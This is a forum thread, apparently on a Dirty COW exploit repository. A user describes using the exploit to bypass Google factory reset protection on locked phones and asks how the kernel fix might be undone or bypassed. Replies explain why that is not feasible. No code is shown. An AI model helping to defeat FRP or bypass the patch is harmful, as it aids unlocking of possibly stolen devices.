Possibilty for unpatching latest kernel patches?

[therealjayvi90]

Let me just start by saying I really don't understand the extent of what my question really entails. As much as I'd like to fully understand the inner workings of this exploit I really just haven't been able to grasp it just yet. So just go easy in your potential response...

I've found many interesting ways to use the exploits you all have put together, specifically this one the most. I have a few videos showing how to use this on FRP locked devices on youtube that are worth a watch.

I found the page that discusses how this exploit has been patched in the more recent updates https://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=19be0eaffa3ac7d8eb6784ad9bdbc7d67ed8e619.

I'm wondering what the possibilities are for being able to "un-patch" the fixes that break dirtycow's functionality. I realize this is probably a very broad question to be asking but just from looking at the source for the patched updates it really doesn't look like very much was altered. Future thanks to anyone that can add some info on the topic.

[McBuffalo]

It depends what you mean by saying un-patch. You are pointing to the kernel source codes and patch which fixes this exploit (truly speaking I like your wording "breaking dirtycow's functionality"). So in this context patch is modifications to the source code and then code is recompiled. And then un-patch means you just undo these modifications and then recompile the code. But if you are in state you can make (any) modifications to the kernel's source code, recompile it, and then deploy (install, flash, push, load..) this modified kernel to your phone and get phone still booting ... you would already be the superuber root administrator pwner of the phone and exploiting would be useless.

Sometimes in some context terms patching and un-patching could also mean making modifications to the compiled (maybe running) binary data. If you are in position you could do binary level modifications to the running kernel of your phone, you would be already root and your target is then not to get dirtycow working.

[therealjayvi90]

Haha "superuber root administrator pwner" I had a decent laugh with that :) very well put! I guess maybe I'll try to phrase it in the way I was thinking. I've tested this out on a great deal of phones and until recently never had any problems with it. I found that by compiling it separately and then downloading it to the phone (since adb isn't available in an FRP state) I've been able to downgrade Google Account Manager and unlock the phone. Since the recent updates though it doesn't work and then I finally found that gist where all it took was a "simple check" as they put it. I guess my question is would there be a way to disable that check, not by altering the kernel code directly but with some other means like a DoS or something? I realize this is easier said than done but I just really enjoyed messing with this exploit and hate to see it's demise so soon after lol.

[bardiharborow]

@therealjayvi90 I think you are asking if there is a way to bypass the patched kernel. By definition, if you could bypass the patch, then that would be another vulnerability. Now, I don't have sufficient familiarity with the exploit to say with surety that it has been patched correctly, but I do have significant trust that Linux kernel team would have done their job properly. How "simple" or otherwise the patch was is mostly irrelevant. Often the reason these bugs take so long to get caught it that that they are very small but critical mistakes. For example, the fix for Heartbleed (an arguably worse vulnerability as it was a remote attack) was only a few lines.